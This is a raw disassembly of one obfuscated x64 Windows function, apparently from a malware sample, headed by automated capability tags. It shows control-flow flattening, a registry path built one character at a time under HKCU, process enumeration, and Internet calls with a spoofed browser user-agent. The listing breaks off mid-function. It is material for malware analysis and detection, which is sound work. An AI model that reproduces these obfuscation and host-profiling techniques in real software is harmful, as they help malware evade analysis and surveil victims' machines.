Function at 0x14001fe90
Capabilities:
Enumerate processes
Parse pe header
Reference http user-agent string

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x1c8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x130], xmm6
mov rax, qword [0x1400810a8]
xor rax, rbp
mov qword [rbp + 0x128], rax
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0xe016a036
mov eax, edx
and eax, 0x1fe95fc9
or eax, ebx
xor eax, 0x1fe95fc8
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
sete byte [rbp - 0x62]
cmp ecx, 0xa
setl byte [rbp - 0x61]
mov r13d, 0x9e681c4e
mov r12d, 0x5ad4d720
xorps xmm6, xmm6
mov r14d, 0x5eae8093
mov esi, 0x6195691d
mov r15d, 0x190757b2
mov eax, 0x193bde3
nop word cs:[rax + rax]
nop
cmp eax, 0xf7172e3b
jle 0x140026080
cmp eax, 0x40859696
jle 0x14001ffb0
cmp eax, 0x5da9e39f
jg 0x14002019f
cmp eax, 0x4bd2d9fe
jg 0x140020460
cmp eax, 0x45f84905
jle 0x1400206bb
cmp eax, 0x49c99bff
jle 0x140020b6e
cmp eax, 0x4a4524e1
jg 0x1400213af
cmp eax, 0x49e9d51b
jg 0x140022079
cmp eax, 0x49c99c00
je 0x140023080
cmp eax, 0x49dacb10
jne 0x14001ff30
mov eax, 0x966daf8b
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x12d91e87
jle 0x140020367
cmp eax, 0x2c1ec479
jg 0x140020521
cmp eax, 0x225505e2
jle 0x14002076f
cmp eax, 0x283ec0b8
jle 0x140020bb5
cmp eax, 0x2a9da1dd
jg 0x14002145d
cmp eax, 0x2877710d
jg 0x1400220a5
cmp eax, 0x283ec0b9
je 0x1400230e4
cmp eax, 0x286db50f
jne 0x14001ff30
mov rax, qword [rbp - 0x28]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x88]
mov rbx, qword [rbp - 0x20]
sub rsp, 0x20
mov r8d, 0x5dc
mov rcx, rbx
xor edx, edx
call fcn.140059c80
add rsp, 0x20
mov rax, qword [rbp - 0x20]
mov word [rax + 0x20], 0x66
mov rax, qword [rbp - 0x20]
mov word [rax + 0x22], 0x74
mov rax, qword [rbp - 0x20]
mov word [rax + 0x16], 0x63
mov rax, qword [rbp - 0x20]
mov word [rax + 0x18], 0x72
mov rax, qword [rbp - 0x20]
mov word [rax + 0x1a], 0x6f
mov rax, qword [rbp - 0x20]
mov word [rax + 0x28], 0x65
mov rax, qword [rbp - 0x20]
mov word [rax + 0x2a], 0x72
mov rax, qword [rbp - 0x20]
mov word [rax + 0x2c], 0x6f
mov rax, qword [rbp - 0x20]
mov word [rax + 0x1c], 0x73
mov rax, qword [rbp - 0x20]
mov word [rax + 0x1e], 0x6f
mov rax, qword [rbp - 0x20]
mov word [rax + 0x24], 0x5c
mov rax, qword [rbp - 0x20]
mov word [rax + 0x26], 0x5a
mov rax, qword [rbp - 0x20]
mov word [rax + 0xa], 0x41
mov rax, qword [rbp - 0x20]
mov word [rax + 0xc], 0x52
mov rax, qword [rbp - 0x20]
mov word [rax + 0xe], 0x45
mov rax, qword [rbp - 0x20]
mov word [rax + 0x10], 0x5c
mov rax, qword [rbp - 0x20]
mov word [rax + 0x12], 0x4d
mov rax, qword [rbp - 0x20]
mov word [rax + 0x14], 0x69
mov word [rbx], 0x53
mov rax, qword [rbp - 0x20]
mov word [rax + 2], 0x4f
mov rax, qword [rbp - 0x20]
mov word [rax + 4], 0x46
mov rax, qword [rbp - 0x20]
mov word [rax + 6], 0x54
mov rax, qword [rbp - 0x20]
mov word [rax + 8], 0x57
mov r8, qword [rbp - 0x28]
sub rsp, 0x20
mov rcx, 0xffffffff80000001
mov rdx, rbx
call qword [0x140082100]
add rsp, 0x20
test rax, rax
setne byte [rbp + 0x97]
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov ebx, 0xe271121d
mov eax, 0xbee7e4a
cmovne ebx, eax
test cl, cl
mov eax, ebx
mov ecx, 0xe271121d
jmp 0x140026996
cmp eax, 0x6e69b02e
jg 0x140020578
cmp eax, 0x64b732d5
jle 0x140020834
cmp eax, 0x68cca831
jle 0x140020c3d
cmp eax, 0x6a0e377e
jg 0x1400214e5
cmp eax, 0x6992dc91
jg 0x140022129
cmp eax, 0x68cca832
je 0x1400230f9
cmp eax, 0x6945c778
jne 0x14001ff30
mov rax, qword [rbp - 0x28]
mov rax, qword [rbp - 0x20]
mov rbx, qword [rbp - 0x20]
sub rsp, 0x20
mov r8d, 0x5dc
mov rcx, rbx
xor edx, edx
call fcn.140059c80
add rsp, 0x20
mov rax, qword [rbp - 0x20]
mov word [rax + 0x20], 0x66
mov rax, qword [rbp - 0x20]
mov word [rax + 0x22], 0x74
mov rax, qword [rbp - 0x20]
mov word [rax + 0x16], 0x63
mov rax, qword [rbp - 0x20]
mov word [rax + 0x18], 0x72
mov rax, qword [rbp - 0x20]
mov word [rax + 0x1a], 0x6f
mov rax, qword [rbp - 0x20]
mov word [rax + 0x28], 0x65
mov rax, qword [rbp - 0x20]
mov word [rax + 0x2a], 0x72
mov rax, qword [rbp - 0x20]
mov word [rax + 0x2c], 0x6f
mov rax, qword [rbp - 0x20]
mov word [rax + 0x1c], 0x73
mov rax, qword [rbp - 0x20]
mov word [rax + 0x1e], 0x6f
mov rax, qword [rbp - 0x20]
mov word [rax + 0x24], 0x5c
mov rax, qword [rbp - 0x20]
mov word [rax + 0x26], 0x5a
mov rax, qword [rbp - 0x20]
mov word [rax + 0xa], 0x41
mov rax, qword [rbp - 0x20]
mov word [rax + 0xc], 0x52
mov rax, qword [rbp - 0x20]
mov word [rax + 0xe], 0x45
mov rax, qword [rbp - 0x20]
mov word [rax + 0x10], 0x5c
mov rax, qword [rbp - 0x20]
mov word [rax + 0x12], 0x4d
mov rax, qword [rbp - 0x20]
mov word [rax + 0x14], 0x69
mov word [rbx], 0x53
mov rax, qword [rbp - 0x20]
mov word [rax + 2], 0x4f
mov rax, qword [rbp - 0x20]
mov word [rax + 4], 0x46
mov rax, qword [rbp - 0x20]
mov word [rax + 6], 0x54
mov rax, qword [rbp - 0x20]
mov word [rax + 8], 0x57
mov r8, qword [rbp - 0x28]
sub rsp, 0x20
mov rcx, 0xffffffff80000001
mov rdx, rbx
call qword [0x140082100]
add rsp, 0x20
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
mov edx, 0x25ce2f34
mov ebx, 0x7ac5091
jmp 0x14002bc19
cmp eax, 0x566edf7
jle 0x140020617
cmp eax, 0xb295a94
jle 0x1400208c7
cmp eax, 0xc70d565
jle 0x140020cd7
cmp eax, 0xddf5969
jg 0x140021530
cmp eax, 0xcf47dd2
jg 0x1400221ab
cmp eax, 0xc70d566
je 0x140023178
cmp eax, 0xca978a8
jne 0x14001ff30
mov rdx, qword [rbp - 0x18]
add rdx, 0x2c
sub rsp, 0x20
lea rdi, [0x140082120]
mov rcx, rdi
call fcn.140060c84
mov rcx, rdi
lea rdx, [0x14007b4ee]
call fcn.140060c84
add rsp, 0x20
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call sub.KERNEL32.dll_Process32NextW
add rsp, 0x20
test eax, eax
setne byte [rbp + 0xae]
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x9066413d
and ecx, 0x6f99bec2
or ecx, edx
xor ecx, 0x6f99bec3
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0x804b880f
mov ebx, 0x9784788e
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0x804b880f
jmp 0x140029b53
cmp eax, 0x569c3992
jle 0x140020967
cmp eax, 0x58e863c2
jle 0x140020d3d
cmp eax, 0x5b1bf242
jg 0x14002157e
cmp eax, 0x5a724124
jg 0x140022227
cmp eax, 0x58e863c3
je 0x1400231f5
cmp eax, 0x5a47f643
jne 0x14001ff30
sub rsp, 0x30
mov dword [rsp + 0x20], 0
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_123.0.0.0_Safari_537.36
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [0x140082010]
add rsp, 0x30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov eax, 0x3d843558
mov edx, 0xf2037fb5
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0x3d843558
jmp 0x14002325a
cmp eax, 0x3b379fa6
jle 0x1400209ba
cmp eax, 0x3d843557
jle 0x140020d7e
cmp eax, 0x3f5b699d
jg 0x140021612
cmp eax, 0x3e6769d5
jg 0x1400222a6
cmp eax, 0x3d843558
je 0x140023267
cmp eax, 0x3e58fdb7
jne 0x14001ff30
mov eax, 0x4a4524e2
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x7838603f
jle 0x140020a52
cmp eax, 0x7a8fccc5
jle 0x140020dfd
cmp eax, 0x7dc8f07c
jg 0x14002168f
cmp eax, 0x7d0b2dbd
jg 0x1400222d1
cmp eax, 0x7a8fccc6
je 0x14002327c
cmp eax, 0x7a9acb79
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov eax, 0xe9c87653
mov edx, 0xe63b8eb7
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0xe9c87653
jmp 0x14002325a
cmp eax, 0xfdc111b3
jg 0x140020b22
cmp eax, 0xfac2faca
jg 0x140020e8d
cmp eax, 0xf9ebfbde
jle 0x1400216c5
cmp eax, 0xfa82c372
jg 0x140022348
cmp eax, 0xf9ebfbdf
je 0x140023365
cmp eax, 0xfa3c0688
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
test bl, bl
mov edx, 0x40859697
mov ebx, 0xaa3c5b32
cmovne edx, ebx
test cl, cl
mov ecx, 0x40859697
cmovne edx, ecx
test al, al
jmp 0x140026bee
cmp eax, 0x41d34f0e
jg 0x140020ece
cmp eax, 0x4183eb1f
jle 0x140021749
cmp eax, 0x41beca53
jg 0x1400223c6
cmp eax, 0x4183eb20
je 0x14002337a
cmp eax, 0x41bb35b9
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0xb9a5cbc2
mov ebx, eax
and ebx, 0x465a343d
or ebx, edx
xor ebx, 0x465a343c
and eax, 0xfffffffe
or eax, ebx
mov edx, eax
not edx
and edx, 0xa5688b9c
and eax, 0x5a977463
or eax, edx
xor eax, 0x5a977463
setne al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl cl
xor cl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
mov eax, 0x4bd2d9ff
mov ebx, 0xcb11801d
cmovne eax, ebx
test dl, dl
mov edx, 0xcb11801d
jmp 0x140029797
cmp eax, 0x1e50c801
jg 0x140020f8e
cmp eax, 0x1aa8ddf7
jle 0x140021794
cmp eax, 0x1cfd5af2
jg 0x140022454
cmp eax, 0x1aa8ddf8
je 0x1400233ef
cmp eax, 0x1b8f8aff
jne 0x14001ff30
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x87ba9302
and edx, 0x78456cfd
or edx, ecx
mov ebx, edx
xor ebx, 0x78456cfd
xor edx, 0x80180302
and edx, 0xe81d6bd6
mov ecx, ebx
and ecx, 0x17e29429
or ecx, edx
xor ecx, 0x17e29428
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
setne cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
xor al, cl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ecx, eax
xor cl, dl
mov ecx, 0xb60e467
mov ebx, 0xcb20a468
cmovne ecx, ebx
test dl, dl
mov edx, 0xcb20a468
cmovne edx, ecx
test al, al
cmovne edx, ecx
jmp 0x14002babc
cmp eax, 0x6195691c
jg 0x140021032
cmp eax, 0x5ed76c03
jle 0x1400217d0
cmp eax, 0x616042f9
jg 0x1400224d7
cmp eax, 0x5ed76c04
je 0x140023483
cmp eax, 0x60d337cb
jne 0x14001ff30
mov rax, qword [rbp + 0x70]
mov rax, qword [rbp + 0x68]
mov rax, qword [rbp + 0x60]
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov ebx, edx
xor bl, cl
test cl, cl
mov eax, 0x7980e674
mov edi, 0x56c18c97
cmovne eax, edi
test dl, dl
mov ecx, 0x7980e674
jmp 0x140023cae
cmp eax, 0x872e8c9
jg 0x140021102
cmp eax, 0x66f2f92
jle 0x140021806
cmp eax, 0x698340b
jg 0x140022502
cmp eax, 0x66f2f93
je 0x1400234d4
cmp eax, 0x68173ef
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x96816434
and ecx, 0x697e9bcb
or ecx, edx
xor ecx, 0x96816435
or ecx, eax
cmp ecx, 0xffffffff
setne al
sete cl
cmp dword [0x1400820fc], 9
setg dl
xor cl, dl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov ebx, ecx
xor bl, dl
test dl, dl
mov eax, 0xddf596a
mov edx, 0x5036d1b6
cmovne eax, edx
test cl, cl
cmovne eax, edx
test bl, bl
mov ecx, 0xddf596a
jmp 0x14002bb92
cmp eax, 0x51c30879
jg 0x140021161
cmp eax, 0x4fa78144
jle 0x1400218b7
cmp eax, 0x5036d1b5
jg 0x14002252d
cmp eax, 0x4fa78145
je 0x140023524
cmp eax, 0x50307394
jne 0x14001ff30
mov eax, 0x49333ff5
mov dword [rbp - 0x68], 0
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x347f0a48
jg 0x1400211a2
cmp eax, 0x2e75c50d
jle 0x140021932
cmp eax, 0x31ca4900
jg 0x1400225c2
cmp eax, 0x2e75c50e
je 0x140023597
cmp eax, 0x2ef2a396
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
mov ecx, 0x5a47f643
mov edx, 0xf2037fb5
cmovne ecx, edx
test bl, bl
mov edx, 0x5a47f643
jmp 0x14002bab4
cmp eax, 0x74855929
jg 0x140021229
cmp eax, 0x713eeb53
jle 0x140021968
cmp eax, 0x71abce13
jg 0x1400225ed
cmp eax, 0x713eeb54
je 0x1400235ec
cmp eax, 0x71612d4f
jne 0x14001ff30
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x2809a576
and edx, 0xd7f65a89
or edx, ecx
mov ecx, edx
xor ecx, 0xd7f65a88
and ecx, 0xfffffffe
xor edx, 0x2809a577
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x702fb7dd
and edx, 0x8fd04822
or edx, ecx
xor edx, 0x8fd04822
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, ebx
or bl, dl
and dl, al
and cl, r8b
or cl, dl
xor al, r8b
xor bl, 1
or bl, al
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0x8120aaf3
mov ebx, 0x15daf472
cmovne edx, ebx
test cl, cl
cmove edx, ebx
test al, al
mov eax, 0x8120aaf3
jmp 0x14002a730
cmp eax, 0x814fa9
jg 0x1400212ce
cmp eax, 0xfe480739
jle 0x1400219e5
cmp eax, 0xff74f9d8
jg 0x140022653
cmp eax, 0xfe48073a
je 0x140023666
cmp eax, 0xfea4de88
jne 0x14001ff30
mov eax, 0x6d251fb2
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x462e05a0
jle 0x140021a12
cmp eax, 0x49333ff4
jg 0x1400226d1
cmp eax, 0x462e05a1
je 0x1400236d1
cmp eax, 0x4691cdf4
jne 0x14001ff30
mov eax, dword [rbp + 0x124]
mov eax, 0x699b28b9
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x25ce2f33
jle 0x140021aae
cmp eax, 0x26616828
jg 0x1400226fd
cmp eax, 0x25ce2f34
je 0x1400236e6
cmp eax, 0x25de34a8
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x129d5d26
and ecx, 0xed62a2d9
or ecx, edx
xor ecx, 0x129d5d27
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0x5eae8093
mov ebx, 0xef537fd8
cmovne ecx, ebx
test dl, dl
cmovne ecx, r14d
jmp 0x14002bd0c
cmp eax, 0x65b072e1
jle 0x140021b33
cmp eax, 0x6811e313
jg 0x140022783
cmp eax, 0x65b072e2
je 0x14002381c
cmp eax, 0x65b6b9d0
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0xd2c8896
and edx, 0xf2d37769
or edx, eax
xor edx, 0xf2d37769
sete al
cmp ecx, 0xa
setl dl
cmp ecx, 9
setg cl
xor cl, al
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
xor al, dl
mov eax, 0xb147a2de
mov ebx, 0xc417bedf
cmovne eax, ebx
test dl, dl
mov edx, 0xc417bedf
jmp 0x140029797
cmp eax, 0xbee7e49
jle 0x140021b6f
cmp eax, 0xc653a00
jg 0x1400227ae
cmp eax, 0xbee7e4a
je 0x140023832
cmp eax, 0xc319678
jne 0x14001ff30
sub rsp, 0x30
mov dword [rsp + 0x20], 0
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_123.0.0.0_Safari_537.36
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [0x140082010]
add rsp, 0x30
mov eax, 0x3b379fa7
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x573d06b1
jle 0x140021c21
cmp eax, 0x57dfbb24
jg 0x140022821
cmp eax, 0x573d06b2
je 0x140023890
cmp eax, 0x57df5123
jne 0x14001ff30
mov eax, 0x1aa8ddf8
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x3cd8d9ea
jle 0x140021ca5
cmp eax, 0x3d645177
jg 0x14002284c
cmp eax, 0x3cd8d9eb
je 0x1400238ea
cmp eax, 0x3d19c5d6
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
mov eax, 0xc10781d5
mov ebx, 0xc375a6cd
cmovne eax, ebx
test dl, dl
mov edx, 0xc10781d5
jmp 0x14002a72b
cmp eax, 0x7980e673
jle 0x140021d5c
cmp eax, 0x7a424be6
jg 0x140022877
cmp eax, 0x7980e674
je 0x140023953
cmp eax, 0x7a01819f
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
mov ecx, 0x81ce5c9e
mov edx, 0xbcda082e
cmovne ecx, edx
test bl, bl
mov edx, 0x81ce5c9e
jmp 0x14002bab4
cmp eax, 0xfbd6938f
jle 0x140021dfd
cmp eax, 0xfc09a1e4
jg 0x140022927
cmp eax, 0xfbd69390
je 0x140023968
cmp eax, 0xfc056a49
jne 0x14001ff30
mov eax, 0xac73347e
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x43479614
jle 0x140021e33
cmp eax, 0x43c0405f
jg 0x140022952
cmp eax, 0x43479615
je 0x140023aea
cmp eax, 0x43bd1054
jne 0x14001ff30
sub rsp, 0x30
mov dword [rsp + 0x20], 0
lea rcx, str.kmdjdheyytgebfghehheneg
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [0x140082010]
add rsp, 0x30
mov qword [rbp + 0xb0], rax
cmp qword [rbp + 0xb0], 0
sete byte [rbp + 0xbf]
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0xdb387ac7
mov ebx, 0x64b732d6
cmovne edx, ebx
test cl, cl
mov ecx, 0xdb387ac7
jmp 0x140026be9
cmp eax, 0x1fe85f5d
jle 0x140021e69
cmp eax, 0x20dfd875
jg 0x14002297d
cmp eax, 0x1fe85f5e
je 0x140023b65
cmp eax, 0x20cccf23
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x495c2ad0
and edx, 0xb6a3d52f
or edx, eax
mov eax, edx
xor eax, 0xb6a3d52e
and eax, 0xfffffffe
xor edx, 0x495c2ad1
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
xor cl, dl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0x20dfd876
mov ebx, 0xc5f85f0f
cmovne edx, ebx
test cl, cl
cmove edx, ebx
test al, al
mov eax, 0x20dfd876
jmp 0x14002a730
cmp eax, 0x620adc4e
jle 0x140021e9f
cmp eax, 0x628df01a
jg 0x1400229a8
cmp eax, 0x620adc4f
je 0x140023bd8
cmp eax, 0x62397b8f
jne 0x14001ff30
mov rcx, qword [rbp + 0xd8]
sub rsp, 0x20
call qword [0x140081bc8]
add rsp, 0x20
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x24291b66
and ecx, 0xdbd6e499
or ecx, eax
mov eax, ecx
xor eax, 0xdbd6e499
xor ecx, 0x24210800
and ecx, 0xeef10c89
mov edx, eax
and edx, 0x110ef376
or edx, ecx
xor edx, 0x110ef377
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xab27ad28
and eax, 0x54d852d7
or eax, ecx
xor eax, 0x54d852d7
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x2c138243
mov ebx, 0xfb40e4eb
cmovne eax, ebx
test dl, dl
mov edx, 0x2c138243
jmp 0x14002ae0a
cmp eax, 0x92ae976
jle 0x140021eee
cmp eax, 0xac329c4
jg 0x140022ab4
cmp eax, 0x92ae977
je 0x140023bed
cmp eax, 0xa5e8ed0
jne 0x14001ff30
mov rax, qword [rbp + 0x20]
movsx eax, byte [rax + 2]
mov word [0x140086f40], ax
mov rax, qword [rbp + 0x20]
movsx eax, byte [rax + 3]
mov word [0x140086f42], ax
mov eax, 0x3c558eef
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x54c7ba15
jle 0x140021f30
cmp eax, 0x55730998
jg 0x140022b1f
cmp eax, 0x54c7ba16
je 0x140023c4f
cmp eax, 0x5566f224
jne 0x14001ff30
mov eax, 0xe050eacd
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x380c7a9e
jle 0x140021fab
cmp eax, 0x3adf8eb0
jg 0x140022b75
cmp eax, 0x380c7a9f
je 0x140023cc6
cmp eax, 0x38d5495d
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x1ec2a3a3
mov ebx, 0xece898ed
cmovne ecx, ebx
test dl, dl
mov edx, 0x1ec2a3a3
cmovne ecx, edx
test al, al
cmove ecx, ebx
jmp 0x14002bd11
cmp eax, 0x767c1995
jle 0x140021fe1
cmp eax, 0x77c6bd86
jg 0x140022c0e
cmp eax, 0x767c1996
je 0x140023d1f
cmp eax, 0x775be98a
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x2de7e830
and edx, 0xd21817cf
or edx, eax
xor edx, 0xd21817cf
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
xor dl, al
and cl, al
or cl, dl
mov edx, ecx
xor dl, bl
test cl, cl
mov eax, 0x8038429f
mov ecx, 0xeb675994
cmovne eax, ecx
test bl, bl
cmove eax, ecx
test dl, dl
mov ecx, 0x8038429f
jmp 0x14002b9c2
cmp eax, 0x213f374
jle 0x140022017
cmp eax, 0x4782f66
jg 0x140022c52
cmp eax, 0x213f375
je 0x140023d83
cmp eax, 0x334178f
jne 0x14001ff30
sub rsp, 0x20
mov edx, 0xfa
lea rcx, [0x140086fc0]
lea r8, [0x14007b1f0]
lea r9, str.unknown_pc
call fcn.14002be10
add rsp, 0x20
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x511df35c
and ecx, 0xaee20ca3
or ecx, eax
mov eax, ecx
xor eax, 0xaee20ca3
xor ecx, 0x5018d10c
and ecx, 0xd2f8dd2e
mov edx, eax
and edx, 0x2d0722d1
or edx, ecx
xor edx, 0x2d0722d0
and eax, 0xfffffffe
or eax, edx
